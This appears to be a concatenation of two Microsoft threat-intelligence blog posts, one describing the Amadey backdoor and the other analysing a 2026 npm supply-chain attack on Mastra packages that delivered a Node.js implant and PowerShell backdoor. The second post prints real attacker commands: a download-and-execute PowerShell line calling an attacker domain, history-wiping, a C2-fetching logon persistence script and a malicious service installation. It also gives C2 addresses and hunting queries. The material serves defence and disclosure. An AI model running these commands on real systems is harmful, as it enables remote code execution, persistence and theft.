Amadey predates the current infostealer boom but has found renewed relevance as a delivery mechanism. It is a modular backdoor written in C++. It communicates with its C2 server over HTTP and supports backdoor commands for file download, file execution, command execution, modular updates, and network proxy. Operators can push plugins that add capabilities such as credential and clipboard theft, or simply use Amadey to download and run other malware, including infostealers. 

Scheduled task persistence

Upon execution, Amadey attempts to copy itself to the file nudwee.exe in the following target directory, depending on the system:

• On Windows 10 or Windows 11: C:\Users\<user name>\e079729711
• Others: %TEMP%\e079729711

After copying its own executable to this path, the malware executes it before creating a scheduled task to establish persistence for the payload.

System information collection

The malware builds a victim fingerprint POST request body with the following fields:

This body is then RC4-encrypted and hex-encoded and later sent to C2 during the C2 bot registration phase.

The malware continues its infection by querying the system registry for keyboard layouts. The malware specifically checks for the following layout IDs:

• 00000419: Russian
• 00000422: Ukrainian
• 00000423: Belarusian

This sets up an internal flag, which is checked before executing certain commands to skip certain functionalities like credential stealing and clipboard stealing.

C2 communication

The malware communicates with its C2 serverover HTTP. In the first phase, the malware performs a status check by sending “st=s“in an HTTP POST request to C2. The C2 server responds with a sleep multiplier, which is a value to specify how long the malware sleeps between command execution.

In the next phase, the malware performs bot registration by sending the RC4-encrypted victim information to the C2. Once this is complete, the C2 starts sending backdoor commands to the Amadey backdoor. After each backdoor command is executed, the malware sleeps for the specified duration before receiving a new backdoor command. All communications between the malware and its C2 infrastructure are encrypted using RC4, with the encryption key embedded in the malware’s configuration.

The following table lists the backdoor commands that Amadey could process and their descriptions:

Plugins like cred.dll and clip.dll are downloaded from the C2 server at runtime.

In the generic handler used by commands 0x0A, 0x0C, 0x1B, 0x1C, 0x1D, the C2 can specify one of these in the backdoor data for the payload drop location:

Defending against StealC and Amadey intrusions

To defend against attacks from infostealers like StealC and malware families like Amadey, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Amadey
• Tool profile: StealC
• Tool profile: Lumma Stealer
• Tool profile: Information stealers

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Amadey Exploiting Self-Hosted GitLab to Distribute StealC Trellix
• HELLCAT Ransomware Group Strikes Again: Four New Victims Breached via Jira Credentials from Infostealer Logs InfoStealers by HudsonRock
• The Infostealer Pipeline How Russian Market Fuels Credential Based Attacks ReliaQuest
• Stealer Logs and Corporate Access Flare

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post StealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them appeared first on Microsoft Security Blog.

June 19, 2026 update: Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet, a North Korean state actor that primarily targets the financial sector. The infrastructure and post-compromise TTPs observed in this campaign are consistent with previously documented Sapphire Sleet activity. Sapphire Sleet also conducted a separate npm supply chain compromise affecting Axios, a popular JavaScript HTTP client, in April 2026.

Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library. Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet.

Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.

Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.

Attack chain overview

At a high level, the attack progressed through seven phases:

• Account compromise: The threat actor gained control of the ehindero npm account, a listed maintainer with publish rights across the entire @mastra scope.
• Typosquat creation: The threat actor published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account).
• Mass poisoning: Using the compromised account, the threat actor published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
• Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
• Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
• Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.
• Post-compromise tradecraft: On systems where the implant established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established additional persistence, added Defender exclusions, and installed a service-level implant for SYSTEM-context access.

Discovery and initial indicators

Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.

The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.

Dependency injection: the poisoned package.json

The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:

The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.

Typosquat analysis: easy-day-js

The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:

Staged delivery pattern

The typosquat used a two-phase delivery strategy:

• Phase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
• Phase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.

The weaponized package.json in version 1.11.22 exposes the postinstall hook:

Obfuscation and payload analysis

Stage 0: Obfuscated dropper (setup.cjs)

The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:

The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.

Stage 1: String table decryption

Decoding the rotated string array reveals the payload’s true capabilities:

Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).

Stage 2: Deobfuscated payload logic

After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:

TLS bypass to self-deletion

Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.

Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:

Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.

The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.

Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.

The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:

Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.

A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:

The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:

This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.

Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:

On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:

On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:

All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.

Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:

• Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
• Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
• Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.

Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.

Following successful exfiltration, the implant’s shell runner capability enables the operator to pivot from automated collection to interactive hands-on-keyboard access.

Microsoft observed the actor delivering a dedicated PowerShell backdoor from separate C2 infrastructure, representing an escalation to persistent, actor-controlled access on high-value targets. The PowerShell backdoor, tradecraft, and C2 infrastructure have been used by Sapphire Sleet in other, prior campaigns.

Step 3.D: Backdoor delivery. Through the Node.js implant’s shell runner capability, Sapphire Sleet  downloads and executes a PowerShell script from a separate attacker-controlled domain:

powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"

Upon execution, the script immediately performs anti-forensic cleanup by deleting the PowerShell command history file and disabling future history recording:

Remove-Item (Get-PSReadLineOption).HistorySavePath -Force Set-PSReadLineOption -HistorySaveStyle SaveNothing

Step 3.E: Host fingerprinting and C2 registration. The backdoor generates a unique 16-character alphanumeric victim identifier and collects detailed host metadata—username, hostname, OS version, boot time, architecture, admin status, installed antivirus products, installed applications (via registry Uninstall keys and desktop shortcuts), and browser extensions for Chrome, Brave, and Edge. This reconnaissance data is packaged into a JSON info beacon and sent to the C2 via HTTP POST:

$info_pkt = @{     type        = "info"     targetId    = $uid     currentTime = [int64][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()     data = @{ username=$username; hostname=$hostname; timezone=$timezone;              bootTime=$bootTime; os="windows"; version=$version; arch=$arch;              applist=[string[]]$applist; extlist=[string[]]$extlist;              admin=$admin; vaccine=[string[]]$vaccine } }

All network communication uses a spoofed legacy IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)) and HTTP POST with URL-encoded or JSON bodies. The script enters an infinite polling loop, beaconing every 10 seconds and backing off to 180-second intervals on network failure.

Step 3.F: Persistence and remote code execution. The backdoor establishes a separate persistence mechanism independent of the Node.js implant’s NvmProtocal Run key. It writes a hidden batch file to C:\ProgramData\system.bat and registers it under a deceptive Run key value named MicrosoftUpdate:

$batFile = Join-Path $env:PROGRAMDATA "system.bat" $batCont = 'start /min powershell -w h -c "& ([scriptblock]::Create(' +            '[System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing ' +            "-Uri '$url' -Method POST -Body 'wwps').Content))) '$url'" Set-Content -Path $batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -Value $batFile

This persistence loader re-fetches the backdoor body from the C2 on every logon by POSTing the keyword wwps, enabling the attacker to silently rotate the live payload without touching the endpoint. When the C2 responds with a script command, the backdoor decodes a Base64-encoded PowerShell payload, writes it to a temporary file (%TEMP%\{guid}.ps1), and executes it with -ExecutionPolicy Bypass in a hidden window:

$scpt = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Command.scriptfile)) $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N"))) Set-Content -Path $tempFile -Value $scpt -Encoding UTF8 -Force $cln = @("-NoProfile","-ExecutionPolicy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln

Step 3.G: Defense evasion and service-level persistence. After establishing interactive access, the operator escalates by adding a Microsoft Defender exclusion for C:\Windows\System32 to suppress detection of dropped tooling, then installs a persistent service that loads a malicious DLL at boot:

sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f

The scdev service runs as a shared svchost.exe process under the SYSTEM context with automatic startup, providing Sapphire Sleet with boot-persistent, elevated access independent of user logon. This represents the final escalation stage—from a supply chain package compromise through automated credential theft to full interactive control with SYSTEM-level persistence.

Timeline analysis

Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.

Attack timeline

** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
• Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
• Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
• Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
• Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
• Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
• Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
• Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.

Detect postinstall execution of setup.cjs

DeviceProcessEvents 
 | where Timestamp > ago(7d) 
 | where FileName in ("node", "node.exe") 
 | where ProcessCommandLine has "setup.cjs" 
     or ProcessCommandLine has "easy-day-js" 
|  where ProcessCommandLine has “--no-warnings” 
 | project Timestamp, DeviceName, AccountName, 
     ProcessCommandLine, FolderPath, InitiatingProcessFileName 
 | sort by Timestamp desc 

Outbound connections to C2 infrastructure

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("23.254.164.92", "23.254.164.123")
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Indicators of compromise (IOC)

Network indicators

File indicators

Host indicators

Package indicators

References

Security: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 · mastra-ai/mastra

Microsoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through npm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence

This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

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The post From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet appeared first on Microsoft Security Blog.